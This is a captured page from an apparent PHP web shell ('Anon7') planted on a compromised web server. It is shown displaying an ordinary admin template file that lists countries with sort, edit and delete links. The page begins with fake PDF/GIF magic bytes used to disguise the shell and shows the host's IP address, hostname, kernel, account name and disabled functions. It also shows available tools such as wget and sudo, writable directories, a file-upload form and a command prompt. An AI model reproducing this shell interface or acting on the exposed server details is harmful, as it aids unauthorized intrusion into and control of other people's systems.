%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.17
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin/countries.php
<?php include('header.php'); ?>
<script type="text/javascript">
//<![CDATA[
$(document).ready(function(){
	create_sortable();	
});
// Return a helper with preserved width of cells
var fixHelper = function(e, ui) {
	ui.children().each(function() {
		$(this).width($(this).width());
	});
	return ui;
};
function create_sortable()
{
	$('#countries').sortable({
		scroll: true,
		helper: fixHelper,
		axis: 'y',
		update: function(){
			save_sortable();
		}
	});	
	$('#countries').sortable('enable');
}

function save_sortable()
{
	serial=$('#countries').sortable('serialize');
			
	$.ajax({
		url:'<?php echo site_url($this->config->item('admin_folder').'/locations/organize_countries');?>',
		type:'POST',
		data:serial
	});
}
function areyousure()
{
	return confirm('<?php echo lang('confirm_delete_country');?>');
}
//]]>
</script>

<div class="button_set" style="text-align:right;">
	<strong style="float:left; font-size:12px;"><?php echo lang('sort_countries')?></strong>
	<a href="<?php echo site_url($this->config->item('admin_folder').'/locations/country_form'); ?>"><?php echo lang('add_new_country');?></a>
	<a href="<?php echo site_url($this->config->item('admin_folder').'/locations/zone_form'); ?>"><?php echo lang('add_new_zone');?></a>
</div>
<br/>
<table class="gc_table" cellspacing="0" cellpadding="0">
	<thead>
		<tr>
			<th class="gc_cell_left"><?php echo lang('name');?></th>
			<th><?php echo lang('iso_code_2');?></th>
			<th><?php echo lang('iso_code_3');?></th>
			<th><?php echo lang('tax');?></th>
			<th><?php echo lang('status');?></th>
			<th class="gc_cell_right"></th>
		</tr>
	</thead>
	<tbody id="countries">
<?php foreach ($locations as $location):?>
		<tr id="country-<?php echo $location->id;?>">
			<td><?php echo  $location->name; ?></td>
			<td><?php echo $location->iso_code_2;?></td>
			<td><?php echo $location->iso_code_3;?></td>
			<td><?php echo $location->tax+0;?>%</td>
			<td><?php echo ((bool)$location->status)?'enabled':'disabled';?></td>
			<td class="gc_cell_right list_buttons" >
				<a href="<?php echo site_url($this->config->item('admin_folder').'/locations/delete_country/'.$location->id); ?>" onclick="return areyousure();"><?php echo lang('delete');?></a>
				<a href="<?php echo site_url($this->config->item('admin_folder').'/locations/country_form/'.$location->id); ?>"><?php echo lang('edit');?></a>
				<a href="<?php echo site_url($this->config->item('admin_folder').'/locations/zones/'.$location->id); ?>"><?php echo lang('zones');?></a>
			</td>
	  </tr>
<?php endforeach; ?>
	</tbody>
</table>
<?php include('footer.php'); ?>

Anon7 - 2022
SCDN GOK